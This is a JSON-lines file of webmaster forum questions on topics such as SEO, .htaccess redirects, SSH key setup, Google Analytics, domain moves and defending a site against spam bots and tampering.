{"id":"18628","title":"Can website have multiple meta keywords?","text":"Are these two equivalent? <meta name=\"keywords\" content=\"first\" \/> <meta name=\"keywords\" content=\"second, third\" \/> and <meta name=\"keywords\" content=\"first, second, third\" \/> I have keywords that are applied for all the pages and then I want to have separate set of keywords for each page. Is there any problem with having multiple keywords tags, especially in SEO?"}
{"id":"54749","title":"Still prompted for a password after adding SSH public key to a server","text":"I'm attempting to setup a git repository on my Dreamhost web server by following the \"Setup: For the Impatient\" instructions here. I'm having difficulty setting up public key access to the server. After successfully creating my public key, I ran the following command: cat ~\/.ssh\/[MY KEY].pub | ssh [USER]@[MACHINE] \"mkdir ~\/.ssh; cat >> ~\/.ssh\/authorized_keys\" ...replacing the appropriate placeholders with the correct values. Everything seemed to go through fine. The server asked for my password, and, as far as I can tell, executed the command. There is indeed a `~\/.ssh\/authorized_keys` file on the server. The problem: When I try to SSH into the server, it still asks for my password. My understanding is that it shouldn't be asking for my password anymore. What am I missing? EDIT: SSH -v Log: Macbook:~ michaeleckert$ ssh -v [USER]@[SERVER URL] OpenSSH_6.2p2, OSSLShim 0.9.8r 8 Dec 2011 debug1: Reading configuration data \/etc\/ssh_config debug1: \/etc\/ssh_config line 20: Applying options for * debug1: \/etc\/ssh_config line 53: Applying options for * debug1: Connecting to [SERVER URL] [[SERVER IP]] port 22. debug1: Connection established. debug1: identity file \/Users\/michaeleckert\/.ssh\/id_rsa type -1 debug1: identity file \/Users\/michaeleckert\/.ssh\/id_rsa-cert type -1 debug1: identity file \/Users\/michaeleckert\/.ssh\/id_dsa type -1 debug1: identity file \/Users\/michaeleckert\/.ssh\/id_dsa-cert type -1 debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_6.2 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.5p1 Debian-6+squeeze3 debug1: match: OpenSSH_5.5p1 Debian-6+squeeze3 pat OpenSSH_5* debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Server host key: RSA [STRING OF NUMBERS AND LETTERS SEPARATED BY SEMI-COLONS] debug1: Host ‘[SERVER URL]' is known and matches the RSA host key. debug1: Found key in \/Users\/michaeleckert\/.ssh\/known_hosts:2 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Trying private key: \/Users\/michaeleckert\/.ssh\/id_rsa debug1: Trying private key: \/Users\/michaeleckert\/.ssh\/id_dsa debug1: Next authentication method: password [USER]@[SERVER URL]'s password: debug1: Authentication succeeded (password). Authenticated to [SERVER URL] ([[SERVER IP]]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: Sending environment. debug1: Sending env LANG = en_US.UTF-8 Welcome to [SERVER URL] Any malicious and\/or unauthorized activity is strictly forbidden. All activity may be logged by DreamHost Web Hosting. Last login: Sun Nov 3 12:04:21 2013 from [MY IP] [[SERVER NAME]]$"}
{"id":"15906","title":"Is it possible to add a facebook 'like' button to a website without the numer of 'likes'?","text":"I'm pretty sure this used to be possible, but there doesn't seem to be an option any more. Is there any way to do it?"}
{"id":"15905","title":"Tried verything - Yet highest Bounce Rate?","text":"I read a lot of blogs and tips articles on how to decrease bounce rate. I feel I write very good content (niche is science) and I setup a good design, with attractive features (like download as PDF etc.), increased site loading times (google page speed score is 80+) but even then my bounce rate is always above 90, sometimes 100 :(. I get 42% traffic from the US and google analytics reports no visitor staying for more than 10-12 seconds. Please guide me."}
{"id":"6964","title":"CSS3 Validation: Is it worth it?","text":"I'm currently building a project, and I'm writing the site using HTML5 and CSS3. I have validated the HTML and it passed first time (very pleased as it was my first time coding HTML5!). And then I went to validate the CSS. It failed validation. The validator indicated that the browser specific attributes in my code (gradient properties for use in Mozilla, Webkit, and Opera) had failed the validation. This leaves me in a bit of a catch 22 situation. I would like both the HTML and CSS to validate, but the whole point of using CSS3 for me was so that I could use gradients without cutting up images, as well as rounded corners. I have included the standard CSS3 rule for gradients and rounded corners, but as the new best and brightest browsers don't yet fully support it, I feel I should use these browser fixes. Should I ignore the validation result? Would it make a difference to my site on a usability and SEO point of view?"}
{"id":"8158","title":"What's the best web entrepeneur's conference to go on","text":"Our dream as business partners was always to go to a conference overseas. Now that we can finally afford to, we have no clue of which one to go to. Which conference would you guys suggest from a web entrepeneur's point of view, if there were just one to go to? Perhaps something that included a bit of marketing, new thinking, innovation, inspiration. We were very keen on Google IO previously, but were concerned that it would be very Google product focused. Huge thanks!"}
{"id":"8159","title":"Traffic value of a keyword","text":"Does anyone know what kind of tools or **tests I can run to find the traffic value of a keyword**? I have done a search here before and someone's asked a similar question which was helpful but what I need to find out is what the Traffic Value, not the monetary value of a keyword is please?"}
{"id":"39341","title":"Will Woo commerce reviews show in Google with rich snippets?","text":"I am using Woo commerce as my shopping cart but I've got a small doubt regarding SEO. My competitor is showing rich snippets i.e. star ratings in Google because of his reviews from reviewcenter.com I too want to build reviews for users but I am not sure whether product reviews from Woo commerce will show up in Google; but in my opinion it’s better to use product reviews on site than using a 3rd party website, but before that I need to make sure about it."}
{"id":"60592","title":"Should I register the domain name that has not popular top level domain name?","text":"Let's say for example you want to register domain name `assembly.com` or `assembly.net` and find out that they are already registered (not available). Would you go with the domain name `assemb.ly` in such case? By having `.ly` the domain name represent word `assembly` but I think `.ly` domain is not so friendly for search engines? What do you think? Do you see any advantage of `asemb.ly` over `assembly.com` or `assembly.net` except it is shorter?"}
{"id":"5899","title":"Most used social bookmarking sites for sharing?","text":"A lot of WordPress sites have a \"share this post to xxx\" link. I was wondering which \"xxx\" people click the most? A top 5 or something like that. I know Twitter and Facebook are in the list, but are there any others sites that are popular when it comes to sharing links?"}
{"id":"67686","title":"Why does Google Analytics for my Android app report twice as many new users as downloads?","text":"Hello I have implemented `Google Analytics` in my android app where I can see number of new users and active users detail. I uploaded the app on Google Play Store. When I see number of downloads on Google Play Store there it is displaying around 20k and Google Analytics for my same android app is displaying more than 40k new users. What it is wrong with this analytics ? Doesn't Google Analytics work perfect for android apps ?"}
{"id":"24396","title":"Long pages or accordion for content?","text":"I'm looking at how best to display content for my website. I plan to have a large number of pages of products, which will contain a large amount of information (ideally, the amount of information on each page will expand over time, as reviews are collected etc). I've discounted separate pages for different bits of product information (eg photos, reviews etc) and would like to keep everything on-page. So I'm considering two options: 1. Long pages of content (eg, Amazon's product pages) 2. Pages using accordion tabs (eg, photos, reviews, descriptions etc displayed under separate tabs, but all on the same page) I want to base my decision on best experience and where possible, evidence that one is more suitable for e-commerce than the other. **_That is, in terms of user experience and goal conversion performance._** At the moment, I'm inclined towards the long product page because i) Amazon's experience of it seems to work well for them and ii) there are potentially fewer rendering issues across different devices and platforms. My question is, what evidence or data is available to help guide my decision and to rule out one over the other?"}
{"id":"65099","title":"Arvixe mail settings","text":"I have a fast question. I need to fill the below information in my web.config file what do you think the correct information would be for an arvixe server with madares.com domain: <add key=\"SmtpMailFrom\" value=\"info@madares.com\"\/> <add key=\"SmtpServer\" value=\"Mail@madares.com\"\/> <add key=\"SmtpUserName\" value=\"info@madares.com\"\/> <add key=\"emailpassword\" value=\"×××××\" \/>"}
{"id":"50248","title":".htaccess file to implement multiple redirects","text":"I have a dynamic site and from _.htaccess_ file creating clean URLs: RewriteCond %{REQUEST_URI} !(\\.png|\\.jpg|\\.gif|\\.jpeg|\\.bmp)$ RewriteRule ^([a-zA-Z0-9_\\-\\+\\ ]+)$ flight.php?flights=$1&slug=$1 This code worked fine for me but when I created a new type of page and trying to get clean URLs with the same code i.e.: RewriteCond %{REQUEST_URI} !(\\.png|\\.jpg|\\.gif|\\.jpeg|\\.bmp)$ RewriteRule ^([a-zA-Z0-9_\\-\\+\\ ]+)$ manual-page.php?url=$1&slug=$1 it's not working and if I comment the previous two lines then its is working fine. Only one code is working at a time. For first I have a URL `domain.com\/flight.php?flight-san-fransisco-london- flights` and I want this being redirect to `domain.com\/san-fransisco-london- flights` & from the second one I have `domain.com\/manual-page.php?url=my-new- page` and I want this being redirect to `domain.com\/my-new-page`. Is these any way to get both working together?"}
{"id":"24399","title":"Two column layout: table or CSS?","text":"I'm making a site with two columns. Either of the columns can be larger than the other and they have different backgrounds. My problem in trying to do it with CSS with the clearfix trick, is that colors are right when the color of the underlying wrapper has the color of the shorter column, but when it has the color of the larger column, the design changes visually. Maybe I'm doing it wrong. I've achieved what I want, but with tables. I've asked a friend that makes websites and he told me that tables shouldn't be used for design and that tables are for cavemen. The funny thing is that he couldn't achieve what I want either. Well, this is basically my HTML code: <div class=\"float_container clearfix\"> <div class=\"column1\"> Column 1 content <\/div> <div class=\"column2\"> Column 2 content <\/div> <\/div> This is my CSS: .column1 { float: left; width: 200px; background-color:red; } .column2 { float: left; width: 390px; height: 1%; background-color:blue; }"}
{"id":"50241","title":"Should I use rel=index or rel=contents in this instance?","text":"I’m creating an MMA website. There’s the home page, there’s a fighters section whose index page lists fighters in the organisation, and then each fighter has a profile page. The URL structure is like this: \/ \/fighters\/ \/fighters\/john-doe My question is: on the fighter’s profile page I want to link to the fighters index page (`\/fighters`). In my HTML page, which meta tag would be the most appropriate? <link href=\"\/fighters\/\" rel=\"index\" \/> Or: <link href=\"\/fighters\/\" rel=\"contents\" \/> I’m having trouble distinguishing which would be best, and whether `rel=\"index\"` would be the index for the whole site or the current page\/section I’m viewing?"}
{"id":"65817","title":"How do I buy a domain without an agent?","text":"The domain name that I wanted to buy is currently under registrar from Japan GMO. I'm completely foreign to this Language and would not want to engage agent for this task. Secondly, the registrant has private protection service, therefore, the only available contacts are Registrar Abuse Contact and Registrant email: `privacy@whoisprvacyprotection.info`. I have also managed to check that domain availability is not on sales or auction. How do I go about for this situation with only 2 contacts which seems not quite useful."}
{"id":"47379","title":"Does Google's algorithm look at a websites nameserver?","text":"This might seem like a strange question but does Google's ranking algorithm look at what nameserver a website uses. For example, if it uses an enterprise dns provider does it rank higher? I appear to have seen some evidence of this."}
{"id":"43971","title":"Any suggestions for a change detection system?","text":"As a webdesigner\/webmaster I'm taking care of various websites. Recently one client's website got \"hacked\". It turned out that at their office one computer got infected by a trojan, that spied the ftp password and then 'they' somehow installed an invisible iframe that was loading some nasty piece of code. It wasn't my fault - but I anyways wish I would have discovered the attack first. So I looked for tools that would detect changes to the files and templates and came along this promissing little script called \"websitecds\" which stands for \"website change detection system\". It basically goes through the entire web folder and detects any changes to code made. It then sends you an email alert if the codebase has changed. http:\/\/code.google.com\/p\/websitecds\/ So far so good. I installed the script and got it running - and manually it works just great. But that's the problem: I don't want to run it manually - I need to have cron triggered cds. The good news is some people altered the script so that you could run it by cron, others added a functionality that lets you exclude certain folders (e.g. password protected folders). Now finally here comes my problem\/ my question: I never got a version running that would 1. let you monitor a large number of websites, ideally from one central interface 2. AND send an email alert if a change occurs, ideally listing the changes 3. AND run by cron 4. AND let you exclude password protected folders. Have you? Or has anybody any hints or pointers to a similar piece of software? update: What I find tempting about a rather simple \"file a change detection solution\" is that it would also inform me if a client uploaded a new file to his\/her website... Thank you! -cheers- PS: or would you rather suggest to ask this over at www.stackoverflow.com ? PS2: Here's the project page to the script mentioned above: How to detect if your webserver is hacked and get alerted"}
{"id":"54195","title":"Move site from one tld to another","text":"If we want to move site from say `xyz.com` to `xyz.org`. What all things we need to do to make sure seo works fine. I am doing something like: 1. Point both `xyz.com` and `xyz.org` to same IP where my site is working 2. Use cannonical URL to have `xyz.org\/*` instead of `xyz.com\/*` 3. Add site to webmaster and make a change request. But problem is we are not able to 301 redirect from `xyz.com` to `xyz.org` as both are on same IP and doing so is causing redirect loop and error. How to fix this?"}
{"id":"67561","title":"Contacting large list of unverified user emails","text":"I currently have a very large list of user emails (around 100K), but with unverified emails addresses. In order to make signing up and using the site as convenient as possible (especially for the mobile apps), I did not require email verification. I am running a last-effort fund-raiser for my site, and I would like to contact those users (because they would be the most interested in helping with the fund-raiser). Is there an optimal way to do this?"}
{"id":"61684","title":"How can I tell how big my Amazon RDS database (MySQL) is?","text":"I have a MySQL database for my website hosted on Amazon AWS using RDS. It has 5GB of storage available to it. How can I tell how big the data in it actually is (and therefore how much of the 5GB quota I have left)?"}
{"id":"67560","title":"How does Google Analytics treat images?","text":"Imagine the following scenario. 1. A visitor has loaded a page, which is a thumbnail gallery. The page has got a Google Analytics script. The links from the thumbnails go directly to images. Simply like so `<a href=“images\/foo.png”><img src=“images\/foo_thumbnail.png” \/><\/a>` . 2. The visitor clicks on the thumbnail, and loads a large image. In this scenario, the large version of the image is just a bare image file, so it can’t call an Analytics script by itself. 3. The visitor clicks the back button and goes back to the thumbnail gallery. How does Google Analytics track in this scenario? Are there any peculiarities associated with this? **edit:** It would be nice if I could track image clicks. But what I'm really after is accurate tracking of User Flow through the HTML pages. If a foray into an image are not tracked, that's alright, that's not too bad. But If a foray into an image starts a new session for the same visitor, that would be too messy."}
{"id":"18095","title":"Does google index its search result page?","text":"Does google index its search result page? assuming, google as a website, search results text as a content."}
{"id":"61824","title":"Wikipedia's effect on Google SEO","text":"I've been researching new SEO trends for a few weeks now and I see alot of community buzz about Wikipedia pages effects on Google. For example: When I do a search on Lowe's or Macy's in Google:  I see that they have their Google+ page linked in their site which is good but the information in the right sidebar is also pulling from their Wikipedia page, such as when they were Founded, CEO's name, etc. Does having a large, very well-known and established business, possibly a monopoly, qualify for creating a Wikipedia page for it? And if so, following the proper procedures, give it enough credibility to be listed in the right sidebar as in the image above give it a higher SEO ranking? I know creating a Wikipedia page for personal usage isn't allowed and would most certainly be removed, but I'm curious as to if the method would produce higher results on the SERP and the information laid out as such on the right sidebar?"}
{"id":"67903","title":"Appearing in knowledge graph","text":"First-time user of this forum, and I've just started learning about SEO. Q - what do you need to do to have your site\/service appear in the knowledge graph panel of the SERPs?"}
{"id":"67867","title":"How to make wikipedia information appear next to google search result on the right handed side?","text":"The title pretty much says it. I have found out how to make google+ information appear next to google search on the right side but none about how to make the wikipedia information appear in the same place. And if the wikipedia page is in different language, how to make it appear on the right handed side in the correct language. (finnish google'ing should bring out the finnish wiki site and so on)"}
{"id":"33523","title":"Approx 52% of Google SERP clicks goes to slots 1-10, but where do the other 48% go?","text":"I have been pouring over some various figures whilst putting together CTR \/ cost \/ earning calculations for ad runs I'm about to start, however I've been missing some, of what I think are, key base figures for what to expect from AdWord position placement. For example, this whitepaper from Slingshot SEO is fantastic, however it seems to really only give results on the normal SERP 1-10 figures in the primary SERP content area. So, for example, in this study we see that about 52.34% of traffic goes to the first 10 results. But, of the \"global monthly searches\" from AdWords, **_where do the other 47.66% of clicks go_**? Along these lines, the 3 questions in my mind are: 1. What percentage of google visitors abandon search results? 2. What percentage of clicks go towards > 10 search results? 3. What percentage of clicks go to AdWords? * Of these, is there more breakdown of which AdWord slots are most valuable (based on percentage)? (This helps determine how high one should go in the CPC bid level.)"}
{"id":"67975","title":"GA Event Tracking Not Saving Events","text":"I am using the event tracking in GA (JS code) to track 2 buttons on my site. I can see the clicks coming through in real time, but when I click on `behavior > Events`, I do not see anything (no events at all). I have tried to filter and it doesn't work. What is the common cause for this problem?"}
{"id":"11025","title":"How do I get rid of the \"www\" with mod_rewrite?","text":"I want to get rid of the \"www\" in front of my domain, and I'm trying the following, but it's not working: RewriteEngine On RewriteCond %{HTTP_POST} ^www\\.example\\.com [NC] RewriteRule ^\/(.*) http:\/\/example.com\/$1 [L,R] Basically, what I hope to accomplish is that someone going to \"www.example.com\" would be redirected to \"example.com.\" Any ideas as to what I'm doing wrong? I've even tried substituting the second line for this: RewriteCond %{HTTP_POST} www\\.example\\.com [NC]"}
{"id":"11021","title":"www.domain.com loads, but domain.com loads as an error on my WP multi-site network","text":"I'm running an up-to-date version of a WP multi-site network successfully (homepage and subdomains all work), with only one problem. My domain loads perfectly with the www., but when the www. isn't preceding, it loads up to this page: `http:\/\/www.domain.com\/wp-signup.php?new=domain.com`. I've never had this problem with WP before, so I'm looking for a way to fix this... Trying to make www.domain.com and domain.com load up the homepage fine, and be like my regular WP sites ending up in the address bar as `http:\/\/www.domain.com\/` How can I achieve this? What must I edit? Thank you for your help in advance."}
{"id":"11022","title":"What blogging software is used for omgiv.com?","text":"Does anyone know what blogging software they used for omgiv.com? I like the style and would like to use the same format."}
{"id":"65488","title":"Will a missing <head> tag prevent Google from indexing a WordPress site?","text":"I was recently trying to configure a Google Webmasters Tools account for a client. I spent almost an hour wondering why I couldn't get the site to validate, when I found that the opening tag was missing from _header.php_. The site is for a fairly large organization, but Google wouldn't even display the site when the organization's name was searched on. I was wondering if the faulty _header.php_ could be to blame? I'd like to know if that's true, as that would be good for the client to know for certain reasons."}
{"id":"11029","title":"Do xrumer drip link blasts work?","text":"I've heard of these so called services where I can get 100 backlinks built everyday from web profiles etc via a software called Xrumer running on the servers. What is the benefit of getting 100 backlinks everyday when Google's algorithm takes account link velocity? Won't google easily see this kind of suspicious backlink building?"}
{"id":"14508","title":"Googlebot crawling 301 redirected URLs again and again","text":"We're having some problems with our site www.inzoco.com. There are lots of old URLs being crawled again and again, even if we send a 301 code. We have checked the entire site several times with a link checker, and there are no traces of those URLs being generated anywhere, but googlebot insist and try to get them every day. We have no idea of where is the bot finding those old URLs (any way to know this?) or if, somehow, it doesn't see the redirection. This is one of the old URLs: http:\/\/www.inzoco.com\/crits\/2-5-5-28-0-0-28074-0-0\/listado-bar-en-alquiler-en- leganes-madrid.aspx redirected with 301 Moved permanently to: http:\/\/www.inzoco.com\/crits\/2-5-5-28-24-0-28074-0-0\/listado-bar-en-alquiler- en-leganes-madrid.aspx ¿Any clue?"}
{"id":"28739","title":"Why do Blackhat SEO Websites Rank high?","text":"Why does this website ranks so high in SERP and also has a PR 3. As the name suggests, it promotes black hat seo and the hits on the website are also very high. Why is it that such websites which openly claim to teach such black hat tactics rank so high?"}
{"id":"28738","title":"Can email harvesters extract addresses from PDFs?","text":"Our website does some basic obfuscation (foo at example dot org) for email addresses on web pages visible to the general public, but doesn't do so for PDF documents. Is it common for email harvesters to extract addresses from PDFs? (In case anyone's interested, the email addresses aren't that valuable - they're an alias such as president@example.org, rather than the person's real email address)"}
{"id":"38162","title":"SEO Google Publisher Network","text":"I'm just about to start a new business which creates niche affiliate sites. I'm curious about the impacts to me from Google of all the URLs being hosted with the same Analytics tags, Webmaster Tool tags and server IP ranges. To benefit the most from Google's SERPs should I have each domain within seperate Analytics accounts and Webmaster Tools or is it ok for me to have all of my domains within one account. My issue is duplicate content and the fact that I am building a publisher network and I'm not sure how much Google likes them. I'm notoriously bad at searching and as such havent found what I'm looking for yet."}
{"id":"23280","title":"Alternatives to PHP","text":"We are starting a project, which goal is to create new frontend interface to our product. Old version was created in PHP, very poorly written. We are choosing the language and frameworks that we want to use in new version. Requirements: 1. New interface will be communicating with API. Application will not have it's own database. 2. We don't have a big team, 3 max programmers for entire project. 3. The main programmers are PHP veterans and knows some other technologies (Rails, C, C++, some Java) but not in professional level. But overall they are good and experienced programmers. So: 1. We want to find a good alternative to PHP. I like Rails very much, but whole ActiveRecord model will be useless, when using application API. 2. Java needs a lot of configuration and someone who is expert in Java to properly run this project. Also, in Java there are a lot of big and complicated enterprise frameworks - not very good for 2-3 programmers team. 3. Python - I don't know Python and don't know good and experienced programmers who knows PY - but it's not so complicated and big as Java and maybe in long period it's good alternative for PHP. What are your thoughts?"}
{"id":"8005","title":"Blocking Search Engines to Crawl Parts of a Website?","text":"<div id=\"papers\" NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\"> content -- Does this work to block search engines to crawl me? <\/div>"}
{"id":"23814","title":"How can I prevent a search engine from indexing a specific file or files on my website?","text":"> **Possible Duplicate:** > Blocking Search Engines to Crawl Parts of a Website? In general, I want my site to be indexed, but there are certain files I don't wish to be searchable from Google, Yahoo, etc... I know you can block your site from being indexed using a robots file, but what if I only want certain files to not be indexed?"}
{"id":"28733","title":"prevent IIS from executing scripts in a specific directory","text":"I have a php web application that allows file uploads to a specific directory. I would like to prevent the execution of any file that is uploaded into that directory whether it is ASP, PHP, or anything else that may be supported by IIS. I'm already blocking the upload of asp and php files at the application layer, but as a measure of defense in depth against a possible error in that validation code I would like to add a configuration to IIS to prevent execution of these files. Is there a way to do that in IIS?"}
{"id":"23287","title":"Getting indexed after removing meta noindex, Google","text":"My question is, will my pages be indexed now in Google if they had `<meta name=\"robots\" content=\"noindex\" \/>` in the past, since they were created? Of course, now they are `<meta name=\"robots\" content=\"index\" \/>`. If yes, then how long it will take to have them in Google? To give you some background, I'm making a site with the manual translation of some text to another language. This surely takes time, and I want to run the site already, having non-translated pages (with the Google machine translation option) along with completed translated ones. My idea is to block indexing of non-translated pages, so they appear to curious people, while not obstructing search engine index. After I get to some particular page, I translate it and change noindex to index. Is that a good idea?"}
{"id":"61718","title":"Redirection to load a CSS file","text":"I have in a remote server with this `index.html` that I can _not_ modify: <link rel=\"stylesheet\" type=\"text\/css\" href=\"styles.css\" \/> But my _styles.css_ file is not at the web root, that is `\/styles.css` but at `\/css\/styles.css`, is possible through an _.htaccess_ file load that file? I have tried with: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/css\/ <\/IfModule> but it _styles.css_ is not loaded yet. NOTE: of course this is a minimal example, I would like to find a rule to load more than a CSS, not just one."}
{"id":"39726","title":"Webhosting company able to unhash passwords?","text":"Tonight I was using the cPanel of a web-site I host and when I went to change the password I received a warning that I couldn't change the password to my desired password because it was too similar to my previous password. Now these immediately raised my eyebrow because it means to be able to compare the string of my new password to previous password, they are either stored in plain text (surely not for a webhosting company), or stored with an algorithm that can be decrypted (which isn't really much better)? Or is this an issue with cPanel as a whole? Earlier this week I signed up for a plan with a .com company that uses cPanel and I noticed when I entered my password on the next screen it said your password was successfully changed to \"xxxxx\"... I don't know if this data was ever stored but I haven't put anything on this site due to this concern. Is it possible that they are using an encryption technology like PGP to decrypt the password? I have e-mailed both companies asking for clarification on this issue but I fear I'll only get \"company speak\" back from them. I'm not sure this question is exactly fits in with SO's Q&A structure however password security is one of the most important things on the internet IMO, and if the company hosting your websites has poor security then that is a serious issue."}
{"id":"30879","title":"Spam bot constantly hitting our site 800-1,000 times a day. Causing loss in sales","text":"For the past 5 months our site has been receiving hits from these 4 sites below; sheratonbd.com newsheraton.com newsheration.com newsheratonltd.com Typically the exact url they come from looks something like this; http:\/\/www.newsheraton.com\/ClickEarnArea.aspx?loginsession_expiredlogin=85 The spam bot goes to our homepage and stays there for about 1 min and then exist. Luckily we have some pretty beefy servers so it hasn't even come close to overloading our servers yet. Last month I started blocking the IP address's of the spam bots but they seem to keep getting new ones everyday. So far I have blocked over 200 IP address's, below are a few of the ones I have blocked. They all come from Bangladesh. 58.97.238.214 58.97.149.132 180.234.109.108 180.149.31.221 117.18.231.5 117.18.231.12 Since this has been going on for the past 5 months our real site traffic has started to drop, and everyday our orders get lower and lower. Also since these spam bots simply go to our homepage and then leave our bounce rate in analytics has sky rocketed. My questions are; Is it possible that these spam bots are affecting our SEO? 60% of our orders come from natural search, and since this whole thing has started orders have slowly been dropping. What would be the reason someone would want to waste resources in doing this to our site? IP's aren't free and either are domain names, what would be the goal in doing this to us? We have google adwords but don't advertise on extended networks nor advertise in Bangladesh since we don't ship there so they are not making money on adsense. Has anyone experienced anything similar to this? What did you do and what was the final out come?"}
{"id":"66885","title":"Apache URL rewriting with masking and includes outside of DocumentRoot","text":"I have an Apache 2.2.15 web server with the primary site at `\/web\/mybiz` which corresponds to `http:\/\/mybiz.domain.com`. We now have a new subdomain `http:\/\/abc.mybiz.domain.com` with the homepage living at `\/web\/mybiz\/abc\/index.html`. Currently, I have a simple rewrite so when people visit `http:\/\/abc.mybiz.domain.com`, they get redirected to `http:\/\/mybiz.domain.com\/abc\/index.html`. The includes for that homepage live in `\/web\/mybiz\/static` and `\/web\/mybiz\/images`. I need to have it so that people visiting don't see the URL change in the browser, but I cannot figure out how to make it work and keep the includes all working."}
{"id":"11363","title":"Force hostname for request","text":"I have a web server running Apache HTTPD 2.2 serving as a reverse proxy for my IIS 7.5 server. This worked fine, until I wanted to use OpenID (using DotNetOpenAuth). Since DotNetOpenAuth throws an exception if I try using any realm other than the domain. To fix that I want to set the hostname server-sided (either on the reverse proxy or on the IIS server). I was able to do that when using HTTPD as the back-end but I haven't found the configuration directive for IIS."}
{"id":"64833","title":"SEO Friendly URL for search keywords","text":"I have a website where you can search for a brands, item, and content inside my web. It was designed with tab for each search type, but I want to make the url when changing the tab user friendly and good for SEO. Is it better to have a url for search result like this www.example.com\/search\/{search_keyword}\/{tab} or www.example.com\/search\/{search_keyword}?tab={tab} or www.example.com\/search\/?search={search_keyword}&tab={tab} where {search_keyword} is the keyword that user input, and {tab} is either brands \/ item \/ content, because when I look at facebook, stackoverflow, and some other website, they use query string for their search keyword ## Edit My past url is only `www.example.com\/search\/{search_keyword}`, and I just added the tab design recently. Consider that I should go with option 1 from the above option, should I make `www.example.com\/search\/{search_keyword}` the default for 1 of the 3 tab, and make the other 2 tab with `www.example.com\/search\/{search_keyword}\/{tab}` to retain the score for the page, or should I make all the tab url with www.example.com\/search\/{search_keyword}\/{tab} and use a permanent redirect from `www.example.com\/search\/{search_keyword}` to one of the url tab"}
{"id":"61355","title":"Add custom Nameservers for Subdomains","text":"Is it possible to add custom Nameserver for my Subdomains? For example: My main domain example.com uses MX record from Gmail. Then my subdomain subdomain.example.com needs to use MX record from Office365. Is it possible to achieve that by adding different Nameserver for subdomain.example.com so it can use different MX record? Or let's just say I want to completely separate the subdomain.example.com's nameserver from my main domain for some reasons. Is it possible?"}
{"id":"19178","title":"What is the best way to calculate bandwidth needed for my website?","text":"What is the best way to accurately calculate bandwidth needed for my site? I have come across several formulas and wondering what one is the most accurate? Here are a couple examples: (Average Daily Visitors x Average Page Views x Average Page Size) + (Average Daily File Downloads x Average File Size) x 31 x Fudge Factor Source and amount of visitors * the size of one page = total bandwidth needed Source So what is the best way? Thanks!"}
{"id":"19173","title":"Google Analytics tracking on the same domain account through an iframe","text":"I have written an advertising system for a client that serves adverts on one website (say, www.adhost.com) as a small HTML page and a second website (say, www.addisplay.com) pulls this page in as an iframe to be displayed as an advertising banner. Google Analytics is present in the adverts in order to track clickthroughs, but the clicks are being tracked under www.adhost.com's profile because the clicks are occurring within the iframe and Analytics knows no better. Would it be possible to make these clicks track under www.addisplay.com's profile, even though they are occurring within a page hosted on www.adhost.com? If so, how? Thanks, Alex"}
{"id":"19172","title":"Google Author information in search results still havent displayed my details in search results","text":"I followed the following instructions but still not clear whether i had completely understood it. http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=1408986 http:\/\/www.labnol.org\/internet\/author-profile-in-google\/19775\/ I did the above last week and i did not find my picture in google search result. First i added google + link in certain web pages and in my google profile i added those pages which had google + anchor link with rel=author tag. After updating i used the following to verify. http:\/\/www.google.com\/webmasters\/tools\/richsnippets?url=http%3A%2F%2Fvikku.info%2Fcodesnippets%2Fphp%2F&view= You can see that my pic is appearing at the right. here is a screen shot.  so, what am i missing? why it is not in the search result. The author of labnol.org said it will take 3 days for my profile photo link to appear... ? Google has stated the following Note that there is no guarantee that a Rich Snippet will be shown for this page on actual search results. For more details, see the FAQ( http:\/\/knol.google.com\/k\/google-rich-snippets-tips-and- tricks#Frequently_Asked_Questions ). Fingers crossed. Thoughtful."}
{"id":"22143","title":"Can using div with width = 0px affect SEO?","text":"> **Possible Duplicate:** > Does google always downrank pages with hidden texts Right now I'm working on my new website and I'm really concerned about SEO since the old version of my site(which is from a script that is unusable now) has PR of 4 and I want to lose it So here is my question There is a panel that has 4 tabs Each tabs has tag which has a href like \"\/box-page\/tab\/2\" and when javascript is not activated it will go this page and shows the corresponding tab and if it's activated it will just make a simple animation to show the other tab There are four boxes(and for tabs) and since I needed to fix the height of the panel I had to use width: 0 for the rest of tabs to keep the height of the box the same as the longest one and inside these boxes(which have width: 0) there are some information that can be indexed by google So as you know google doesn't have javascript and it will go to \/box-page\/tab\/2 and \/box-page\/tab\/3 and ... in all of these pages the information is the same but with different box showing up in the page So here is my question Does google penalize using a div with width: 0px? And if not does it just ignore the content of the div with width 0?(Which is perfect for me ^^) Thanks"}
{"id":"32815","title":"What books or articles are must reads for learning about SSL management","text":"I have found it very hard to find any books or articles that assume no understanding and take you from nothing to a master at managing SSL certificates on web servers. Most articles I have found deal with specific implementation on particular machines or stop after a very basic overview. Are there any that are heralded as must reads for someone wanting to know more?"}
